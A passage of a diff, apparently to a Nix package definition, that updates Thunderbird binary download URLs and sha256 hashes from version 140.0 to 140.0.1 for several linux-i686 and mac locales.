-      sha256 = "36f6d0500a88f1cbd685fa9a8df396d7375ab329cac952ceddc30f14cd23b42e";
+      sha256 = "f2396788af93f7251856d8d4d45069c547da7bb3a2b799e392d302246bcaea38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/et/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/et/thunderbird-140.0.1.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "ae9393e20a4901e50fecc386533a2d97e95730123f1e65669e173e116a872958";
+      sha256 = "da55968e424ccbc7ef85ad1a8d7a1976d0470a8942f70976e06857fba6bcf804";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/eu/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/eu/thunderbird-140.0.1.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "0b14e26d85591f5c71923358cef7659ab32fca83cf273537f1d7ef2f395d2762";
+      sha256 = "c0a00c1df436b67e1f20a42ae2ed30b2936068fdc77425675107233abf2244d8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/fi/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/fi/thunderbird-140.0.1.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "3fc0d97fd77f73556d0d322b06256424d3c518c65cc01945cd20a2dc50789499";
+      sha256 = "6391f40af1c85107902768210138b7077033f7e8735de25617a8c93b272e9521";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/fr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/fr/thunderbird-140.0.1.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "f87f9817365810800f24b2d4336bd0f597afeea60665380997353f8841fc7bd9";
+      sha256 = "3d2f032bcdf22a5470e78b63430bdccfaa0fc85914049db98cbe503a58f0b74f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/fy-NL/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/fy-NL/thunderbird-140.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "7edd73a351ca4495e630f49e49a3da41a144baba19d73e0801413b9d5c701fca";
+      sha256 = "6b77fe61fa46301196e3093531e0338c5bd21f18d4d01207a163b4288415e426";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ga-IE/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ga-IE/thunderbird-140.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "5dcf3f4fc9339d2b18362ef7821efc841c183ec5d775ac88173c92ade2a0188b";
+      sha256 = "d8875e7442cefb65ffa1c066b36d9bc40e1c882ff9da79a9812278371f3b5fe7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/gd/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/gd/thunderbird-140.0.1.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "a0be320036814966c3897b23b4680776de5a4a67cdbc03851815ff6463708d75";
+      sha256 = "027775f0b81f963d3d6eb2be2c99ac1d2cae0e32fd69ce94774f9b5802daf11c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/gl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/gl/thunderbird-140.0.1.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "b2600fab294ae36dcb5393fa2614b992232f23f4048030bcda43968d52b5ba41";
+      sha256 = "04249193f08caa84b3d395c77728f877914a6be1ea7fcd2bf0e38e6e1602a11c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/he/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/he/thunderbird-140.0.1.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "1cec5c2acadd3cda9400702488a8fdaece9c831d7563153acc6f915a634243f6";
+      sha256 = "c81fa6c7a9311d165829a5d6e07861a35ee964c014f31ad5baafd7b15a748959";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hr/thunderbird-140.0.1.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "792c86c253538d5523f933f250c6654d3819a35f9d73bd8284ee14ae55fc4968";
+      sha256 = "70a6b576d98506547ecfa655a0d51147af5ee87c4e21ebd2fa2dd9622d1d91c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hsb/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hsb/thunderbird-140.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "c7225883ecd455644457d994111e38f1906854d280056c51075fd441392d51fd";
+      sha256 = "e7a3ff1ba8648dd1558bf960901eed788dbc79f411c72f92ce18da3ca4d2cb51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hu/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hu/thunderbird-140.0.1.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "a4043c636233c7ae06aa9e2bcafc92bb0cd2a020e52a6da82bca88e8cf125e47";
+      sha256 = "7f1f3dc52475584434c715dd1cd15db350730773d797ec13c9ca1aa0612f6971";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/hy-AM/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/hy-AM/thunderbird-140.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "4b339dd83e431c91b9ff29308ab585a26aa95e23d248e8bf11115255693ce275";
+      sha256 = "008bcde4bb1736ad1d4cb376dc54d217a5aa4d330a207151e3883a3addf212b5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/id/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/id/thunderbird-140.0.1.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "8b91323db69d9c70aacf78d58516b26a61145654ec158d81af0e59813abf4127";
+      sha256 = "2a4c0800eb8e3dec58b3506a49100e736809900bcc580b20bec02100390ac02e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/is/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/is/thunderbird-140.0.1.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "20132bf94b743c43605f1c1627d8e493a8eed3eebac4c174ad036228721ee958";
+      sha256 = "f4215f23dda9c4a0434a654dc6d438b22681a696bd2de6e8d41ab1c1bff2a90f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/it/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/it/thunderbird-140.0.1.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "75eb75dc9869326984f15391cb855588399a201a35ee3c74ddbb04dac62f723e";
+      sha256 = "ba81b352da4bd3ebf8edae698718d58441fae797393bd5c1d28357eec4b97162";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ja/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ja/thunderbird-140.0.1.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "f9b2477ef6f6aeb89587c4f26c0be6a8faf2b295df4885539c90b5897947b2b7";
+      sha256 = "66d7b01d8493d00b87d75c3a2b807b2423ca39f4cb1f35ee676504e0b5b59e03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ka/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ka/thunderbird-140.0.1.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "7ea6caffff18eb871593a94d4a79c5a1dac5933be29ffdf89fabaf2a8e1d87a9";
+      sha256 = "c0b0d92ea8ac93f6a2447b979e1c5f0bac5675a6a9e32e1b3d9eed2cce9cd803";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/kab/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/kab/thunderbird-140.0.1.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "72606d61c2c8632d594be3c96bc735430c1c7ee786355671404e226b5efb8623";
+      sha256 = "fcb23f2ca4610a38b60301e6f27e068df4d40c9e6dddf4ae21060048b2c7f3ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/kk/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/kk/thunderbird-140.0.1.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "9ab86be14f7e53ecd6a40a8d8ee57cfd8f12c62e3c6d4622d32420f912b0ea2c";
+      sha256 = "717ecf5f52cbac43a336d1126b59b3135a842216e62c057c94ff4751e969d36f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ko/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ko/thunderbird-140.0.1.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "822a1b4fd9c0b8bc3210292024a8c7e1e688208b9a9bbc6b8b1fcb9cc20ad102";
+      sha256 = "b19a34c16d6be3c99d27afbf0652385d3d4e78ed87a15e31df365f9e8cd78e74";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/lt/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/lt/thunderbird-140.0.1.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "e9c44ac87b9437e5d1502dfcf17bd5453f9fe252c9e2c41b15b3ce0445143457";
+      sha256 = "78f0083f8bd205453297d9d2e9fc8fecd08ae1b23d78de6b8b680f00f0082e60";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/lv/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/lv/thunderbird-140.0.1.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "f2c7bea3b5888bddbd6502f65140cec0f7680a9edaed4c0738832cd5edd91740";
+      sha256 = "72b6adf081b4c58a40e3a2f49a1346c7b10149c5ef6d0a00cdc6f379c5fe373d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ms/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ms/thunderbird-140.0.1.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "8a9c1e30d9195a8cb50a797b15fb9f4462429eeacd58e055b172f686149e7c8f";
+      sha256 = "f98174324222c3a7ca3f01cce23347014bdc097d92c68999368ad46af6db92e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/nb-NO/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/nb-NO/thunderbird-140.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "73a05643c78e9da748898274e2df7fac2aa41fddc61860661bb61f0e7e6d5553";
+      sha256 = "87749694091646ddac28ae652c1f508f55d4d34704c1bee7bfcc480bbb076ecb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/nl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/nl/thunderbird-140.0.1.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "f7015c51d4ee48b1042056f2b59ebcaf2af91aa4b3f810a77ac5b76d2694c707";
+      sha256 = "19e158bac6081049c8951b6e21b1b9fdd413b986352546e9fa28ef329a918aa1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/nn-NO/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/nn-NO/thunderbird-140.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "f6cf5fa7e9a4748666289a3da001e7c5f57996603df8e516c29381a5c5c5adcb";
+      sha256 = "c670fb0d2e71836458d83760e96acc74513c3c17ca876a6c89387315887e09f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pa-IN/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pa-IN/thunderbird-140.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-i686";
-      sha256 = "e0f1d2c53919030437e8f232ed7ec8df0a5fe5ee0a6fe028be264fd082f797d7";
+      sha256 = "5426731b40b5d7cffba0c118e7298f9ecf402f7dcac0ba6d8a86fe5d6592f24c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pl/thunderbird-140.0.1.tar.xz";
       locale = "pl";
       arch = "linux-i686";
-      sha256 = "ddef5b7962ccc2013872bebeb7cbea5ab80d6b81404a0716b87e0bfb7b693fe7";
+      sha256 = "d7ff76ba476af38e2df8653b97504059475f83d3d736577ca3cffba4df709bf8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pt-BR/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pt-BR/thunderbird-140.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-i686";
-      sha256 = "a0e63aba6273fc6968388999ba37e9451f015a98b4b11b2c33db4d91c7901d33";
+      sha256 = "cb445348e6944b403b6828f8e5b84160c5c152480b8efeff52f251558663b764";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/pt-PT/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/pt-PT/thunderbird-140.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-i686";
-      sha256 = "4e5928c237cd89d5eb112f1377d8d6a2ca6f356f71e0578125b82676eefb4b95";
+      sha256 = "e7e23ee9ccab2e2f2fa60c9ef0563a1c6907c5844cbc7b2f1b811211e8848cec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/rm/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/rm/thunderbird-140.0.1.tar.xz";
       locale = "rm";
       arch = "linux-i686";
-      sha256 = "b4735becdcbf517487eb0a7d164b9a4262a54f2af3051cf4246891e209b9461c";
+      sha256 = "bc12710c36cfb4aca784f0641c5f6674bcbcb9d245ef783a096599c3e6b9023d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ro/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ro/thunderbird-140.0.1.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "881ced0d351edceeccf6b35657c25b50a089c1dbbfc67e8fcb2deac49b2a92df";
+      sha256 = "9f628db4553bfcaa8cfd22dc46116e621d86549074e61253870e808f241eade2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/ru/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/ru/thunderbird-140.0.1.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "f891e5752e6d241e19360e1384b961170a943a4b74e560ec8cf2a06cd62171ab";
+      sha256 = "f427eb709b5a4f798a3f126fe925bf4c39b5c687ab39d562f4789d5df6e6dfea";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sk/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sk/thunderbird-140.0.1.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "062862c0e8bc406449d191f0bbece63ea40d514e0462366663eed1f4a37ba971";
+      sha256 = "5366a9bbc948eb76d36546935fdbe650a100c4ff8164fe76028bfc99c9fddce1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sl/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sl/thunderbird-140.0.1.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "4c8896aa30f9b32e88f803978a1b75ebe9856254935996b6fa88fa76855bff38";
+      sha256 = "603dcb66bc319760717ac1a4952f871886bdf4966794e0fae972d4b32bd29d2f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sq/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sq/thunderbird-140.0.1.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "e6a43d7bf0f7d764a77a1a722ef65811341be1d015c3908890f585a2bc8369bb";
+      sha256 = "396e7de07675140a73b2ca0abd38b707aa852d6203b31774ff5569588e4a2574";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sr/thunderbird-140.0.1.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "bc7d6c8d8d76a7b38f5b5fabf3b3bec7c0ca89f22c7e1e19ce84f940ea68ccad";
+      sha256 = "fc0ad748b936784f084bb83612607c4026f5b6ae17cf34a06ab5fd95f2e88ad6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/sv-SE/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/sv-SE/thunderbird-140.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "55925cb98253a3f99c587a0ee4528d23bf461ca896fb9471c6ec9dacdab95d66";
+      sha256 = "76ecb38ca1821157ddbcc90c85f0c24b3e9ef94f9b12d76792fe171b95c0404c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/th/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/th/thunderbird-140.0.1.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "e9e5b38971157790a5d465769bac529e119f789de873b3bec39c8b3e2d1f720b";
+      sha256 = "949bffb08b4c67c9afac567f39c82ebd157ae2077bc5d18c5983fcea482568ae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/tr/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/tr/thunderbird-140.0.1.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "a929741aa566daf92d95320e8e3ce29629499bb43772195fa919b57d155be1a1";
+      sha256 = "9411dd9602204a50865192126ba7ba2501c2e9fc7d495f09e06016dc5f6ace88";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/uk/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/uk/thunderbird-140.0.1.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "fcfa2eda01b46c676d6aec712debd649348e9b4451bba08668228d661073a03b";
+      sha256 = "afe54fc83d3188ae2bf4387981732cb28624143e1779cdaa5786876ae9f841a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/uz/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/uz/thunderbird-140.0.1.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "600b636148de51f010f37d8d14aedb290f73837091621c4346d74a4cb8359970";
+      sha256 = "a39229bca96665d284880adb37a375ec75c4b362d836a22321b5594d5105c529";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/vi/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/vi/thunderbird-140.0.1.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "f29356887a4f781b129b4038db9c8b692f6a0952d8297ac78ed236fe2fd42536";
+      sha256 = "dab350702a5f2580459cd312600d67c4fd0d9ab04e8bb76b277182a5473bf302";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/zh-CN/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/zh-CN/thunderbird-140.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "8a9e51234e8b6822da950ee53c252a741ae9ee1daea2367bb0ca0f72742302fd";
+      sha256 = "d0e64288acb23ffa89315595da354de60547e9c950e41e1977a9fd2f6edd7b5b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/linux-i686/zh-TW/thunderbird-140.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/linux-i686/zh-TW/thunderbird-140.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "1880865c7fc077a70c954f53f5058fffbe07ee617f1bcf2d778cba2020cf1b41";
+      sha256 = "44f1c8d939640f34c3101e41a50662b0325d1f8c503c2d6d9b4fb7a34fea3d70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/af/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/af/Thunderbird%20140.0.1.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "e91d7f46433c767c98498768e9fbccc539411442f7ad41b2c4292691351c784c";
+      sha256 = "6e88472216a2c2efbd94709917287e85416080e980b0ce5959b96588a7a22b17";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ar/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ar/Thunderbird%20140.0.1.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "f11ed7f71473b4bccf32ad4513b34cb8a2b0728e974cfbd2fbcd584ad4a6c7e2";
+      sha256 = "4cdc3b49e54f8995da5e78cc6d08ba72237bf1ffa82f72ee3726f3898254e3d0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ast/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ast/Thunderbird%20140.0.1.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "10dcb7006b4ecfbb70e76aadfce0678ab60a12a87163cb00777f0bc2c5fec0fd";
+      sha256 = "33bdbc4059ffc6389f427e15e9ea0ae662729debfa6fd681806128ecdc64eb9a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/be/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/be/Thunderbird%20140.0.1.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "caee7a92770a61d0339ffbb4768dc59857a5ae7903b1c4056d34f2b941cdb97b";
+      sha256 = "173cbc422821f0f0bfa7e77bbae84e63990c5d3230dd0ff3e458d3850a152b42";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/bg/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/bg/Thunderbird%20140.0.1.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "3296326478ff0f022f0975e643c908d17525279061d8ee2b2a6410ff9a28d385";
+      sha256 = "b2c8cb548df0af9ef5d5c3197c585f97b0a0ea4464081d931b2aeb491880ce4d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/br/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/br/Thunderbird%20140.0.1.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "c40e3be45d4cb1a724d21441e4b60e0fb69c3180783a955e9147251a3fc8d3f6";
+      sha256 = "c91cfb08755fd17c34555bb781d5fb664e3c1a0ff375f1102cd966d13d7d4815";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ca/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/ca/Thunderbird%20140.0.1.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "02b39a0ec2869741c482c4f75e91464a378cc14547e2a51b7742534d23c77302";
+      sha256 = "a2d1b8fe7f13aa062f0832ab31b91585e0e7a8e366b000644217e12be08926ae";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/cak/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/cak/Thunderbird%20140.0.1.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "c9ff87e4cc3db36c1c4cb427666e889676567b6c348eaf268ead21e696b2b286";
+      sha256 = "6c24284813ea061f439f38a7b18058d1f606759e3103b0b76ee51e7bfe1b3fac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/cs/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/cs/Thunderbird%20140.0.1.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "66d6da3986c06fe82c9a407c74ce7a70c78bec7dcca6dfe4d37c5589e209882c";
+      sha256 = "bb08735fafb466974fe1b839377ea0e57f99e1cf589ff3f6c13048876e42523d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/cy/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/cy/Thunderbird%20140.0.1.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "04ae480b5f73048b9c9af3b57e3de1e6afa78cb518706010ff278c4cae40f3f5";
+      sha256 = "46d54db89e97eceb1779bc0d8f5a3c076cd814b3a515037e3584f562c250a4bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/da/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/da/Thunderbird%20140.0.1.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "8ca809dff042734d644d8728a48c4208a73a0d1e70f86a032ef47f5cb86278f9";
+      sha256 = "8884ee2cb526fca3ce406e65215a6c526aed5432e957bd847252cc81e3f41a34";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/de/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/de/Thunderbird%20140.0.1.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "242962d9d99725ca033471494c0b6f20c5ca289588e8765296891bb6f2052eae";
+      sha256 = "a1bd0d36a5716611efe4e10ebed6e570fdabfe047995b92e66366a326a64ff9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/dsb/Thunderbird%20140.0.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1/mac/dsb/Thunderbird%20140.0.1.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "3d67db019027d6c7e62adb1b60ca227839440d68e699ddb388e1218b97485faf";
+      sha256 = "a5157be62a59d09f27a7eb195cb1e080ff3146dd7ff5da5818b83560e9514a2e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/el/Thunderbird%20140.0.dmg";
